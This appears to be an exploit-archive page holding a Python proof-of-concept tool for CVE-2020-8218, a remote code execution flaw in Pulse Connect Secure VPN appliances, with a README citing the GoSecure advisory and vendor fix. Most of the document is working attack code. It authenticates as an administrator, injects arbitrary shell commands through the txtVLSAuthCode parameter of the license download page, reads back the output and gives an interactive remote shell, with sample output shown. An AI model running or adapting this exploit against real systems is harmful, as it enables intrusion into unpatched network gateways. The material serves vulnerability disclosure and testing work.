4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / pulse-gosecure-rce.py PY
"""
# pulse-gosecure-rce

          _____                    _____                    _____            _____                    _____
         /\    \                  /\    \                  /\    \          /\    \                  /\    \
        /::\    \                /::\____\                /::\____\        /::\    \                /::\    \
       /::::\    \              /:::/    /               /:::/    /       /::::\    \              /::::\    \
      /::::::\    \            /:::/    /               /:::/    /       /::::::\    \            /::::::\    \
     /:::/\:::\    \          /:::/    /               /:::/    /       /:::/\:::\    \          /:::/\:::\    \
    /:::/__\:::\    \        /:::/    /               /:::/    /       /:::/__\:::\    \        /:::/__\:::\    \
   /::::\   \:::\    \      /:::/    /               /:::/    /        \:::\   \:::\    \      /::::\   \:::\    \
  /::::::\   \:::\    \    /:::/    /      _____    /:::/    /       ___\:::\   \:::\    \    /::::::\   \:::\    \
 /:::/\:::\   \:::\____\  /:::/____/      /\    \  /:::/    /       /\   \:::\   \:::\    \  /:::/\:::\   \:::\    \
/:::/  \:::\   \:::|    ||:::|    /      /::\____\/:::/____/       /::\   \:::\   \:::\____\/:::/__\:::\   \:::\____\
\::/    \:::\  /:::|____||:::|____\     /:::/    /\:::\    \       \:::\   \:::\   \::/    /\:::\   \:::\   \::/    /
 \/_____/\:::\/:::/    /  \:::\    \   /:::/    /  \:::\    \       \:::\   \:::\   \/____/  \:::\   \:::\   \/____/
          \::::::/    /    \:::\    \ /:::/    /    \:::\    \       \:::\   \:::\    \       \:::\   \:::\    \
           \::::/    /      \:::\    /:::/    /      \:::\    \       \:::\   \:::\____\       \:::\   \:::\____\
            \::/____/        \:::\__/:::/    /        \:::\    \       \:::\  /:::/    /        \:::\   \::/    /
             ~~               \::::::::/    /          \:::\    \       \:::\/:::/    /          \:::\   \/____/
                               \::::::/    /            \:::\    \       \::::::/    /            \:::\    \
                                \::::/    /              \:::\____\       \::::/    /              \:::\____\
                                 \::/____/                \::/    /        \::/    /                \::/    /
                                  ~~                       \/____/          \/____/                  \/____/

## About
Proof of concept tool to test for the existence of Pulse Secure RCE (CVE-2020-8218). This tool was built around the POC from the GoSecure advisory (see refs). All credit to them for the finding.

As recommended by Pulse Secure:
"The solution for these vulnerabilities is to upgrade the Pulse Connect Secure and Pulse Policy Secure server software version to the 9.1R8. This following PCS/PPS version can be downloaded from https://my.pulsesecure.net."

Refs:
* https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44516/?kA23Z000000L6i5SAC
* https://www.gosecure.net/blog/2020/08/26/forget-your-perimeter-rce-in-pulse-connect-secure/

Example usage:
withdk@hogwarts source % python pulse-gosecure-rce.py -u https://192.168.1.120 --user admin --password mypassword
[*] Successfully logged in
(Cmd) ls /
[*] Sending cmd ls /
[*] Sending exploit...
[*] Getting output...
******************************************
2.6.32.358-x86_64
bin
boot
cgroups
data
dev
etc
home
lib
lib64
modules
opt
pkg
proc
runtime
sbin
sys
tmp
usr
va
var
webserver

******************************************
(Cmd) exit
Bye
[*] Getting logout URL
[*] Sending logout URL
[*] Successfully logged out.

DK @withdk
https://github.com/withdk/pulse-gosecure-rce-poc/blob/master/README.md

## Disclaimer
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
"""

import argparse
import urllib3
import requests
import ssl
import re
#from requests_toolbelt.utils import dump # debugging
import time
from cmd import Cmd

LOGOUTLINK = r"logout.cgi\?xsauth=([\d+\w+]+)" # /dana-na/auth/logout.cgi?xsauth=271e264f539bfdb1e342eeb3dd4b45be
PFAILED = "p=failed" # welcome.cgi?p=failed
PLOGOUT = "p=logout" # welcome.cgi?p=logout
PADMINCONFIRM = "p=admin-confirm" #welcome.cgi?p=admin-confirm

class MyShell(Cmd):
    """ For interactive shell """
    def do_exit(self, inp):
        print("Bye")
        return True
    def default(self, inp):
        print(f"[*] Sending cmd {inp}")
        do_exploit(inp)

def do_exploit(cmd):
    """ The actual exploit code """
    print("[*] Sending exploit...")
    url=URL + "/dana-admin/license/downloadlicenses.cgi"
    payload = {
        "cmd":"download",
        "preferredNetwork":"internal",
        #"txtVLSAuthCode" : "gotcha2"
        "txtVLSAuthCode":"gotcha -n '($x=\"" + cmd + "\",system$x); #' -e /data/runtime/tmp/tt/setcookie.thtml.ttc"
    }
    r = do_post(url, payload)

    print("[*] Getting output...")
    url=URL + "/dana-na/auth/setcookie.cgi"
    r = do_get(url, None)
    do_pretty_output(r)

def do_pretty_output(r):
    """ # TODO: a big hack to strip out garbage (alpha:) """
    print("******************************************")
    print(f"{r.text[0:-696]}") # quick hack, static output so should work.
    print("******************************************")

def do_login():
    """ Admin authentication bit """
    url = URL + "/dana-na/auth/url_admin/login.cgi"
    payload = {
        "tz_offset":180,
        "username":USER,
        "password":PASS,
        "realm":"Admin Users",
        "btnSubmit":"Sign In"
        }
    r = do_post(url, payload)

    if(check_failed_login(r)) == False:
        print("[*] Successfully logged in")
        if(check_failed_confirm(r)):
            print("[*] Admin already logged in, please manually login and logout.")
            exit()
        else:
            return(True)
    else:
        print("[*] Failed login. Exiting...")
        exit()


def do_logout():
    """ Logout cleanly """
    print("[*] Getting logout URL")
    url=URL + "/dana-admin/misc/admin.cgi"
    payload=None
    r = do_get(url, None)

    logoutlink = check_failed_logoutlink(r)
    if(logoutlink == None):
        print("[*] Error getting logoutlink. Exiting...")
        exit()

    print("[*] Sending logout URL")
    url=URL + "/dana-na/auth/logout.cgi"
    payload={"xsauth":logoutlink}
    r = do_get(url, payload)
    if(check_failed_logout(r)):
        print("[*] Successfully logged out.")
    else:
        print("[*] Failed to logout.")

def do_post(url, payload):
    """ HTTP POST handler """
    r = s.post(
        url,
        data=payload,
        verify=False
    )
    return(r)

def do_get(url, payload):
    """ HTTP GET Handler """
    if(payload==None):
        r = s.get(
                url,
                verify=False
        )
        return(r)
    else:
        r = s.get(
                url,
                params=payload,
                verify=False
        )
        return(r)

def check_failed_login(r):
    #print(dump.dump_all(r)) # debugging
    if(re.search("p=failed", r.url)):
        return(True)
    else:
        return(False)

def check_failed_logout(r):
    #print(dump.dump_all(r)) # debugging
    if(re.search("p=logout", r.url)):
        return(True)
    else:
        return(False)

def check_failed_confirm(r):
    #print(dump.dump_all(r)) # debugging
    if(re.search("p=admin-confirm", r.url)):
        return(True)
    else:
        return(False)

def check_failed_logoutlink(r):
    logoutlink = re.search(LOGOUTLINK, r.text)
    if(logoutlink.group(1)):
        return(logoutlink.group(1))
    else:
        return(None)

def main():
    global args, s, URL, CMD, USER, PASS
    debug=0

    parser=argparse.ArgumentParser(description='CVE-2020-8218 Pulse Secure RCE Proof of Concept')
    parser.add_argument('-v', '--verbose', '--debug', action='store_true')
    parser.add_argument('-u','--url', required=True, help='https://svr')
    parser.add_argument('--username', required=True, help='administrator username')
    parser.add_argument('--password', required=True, help='administrator password')
    #parser.add_argument('-c','--cmd', required=True, help='ls /')
    #parser.add_argument('-i','--interactive', required=False, help='shell')
    #parser.add_argument('-p','--proxy', help='e.g. 127.0.0.1:8080')
    #parser.add_argument('-ua','--useragent')
    args=parser.parse_args()

    if args.verbose:
        debug=True

    URL=args.url
    USER=args.username
    PASS=args.password
    #CMD=args.cmd
    #INT=args.interactive

    s = requests.Session()
    do_login()
    MyShell().cmdloop()
    #do_exploit()
    do_logout()
    print("")

if __name__ == "__main__":
	main()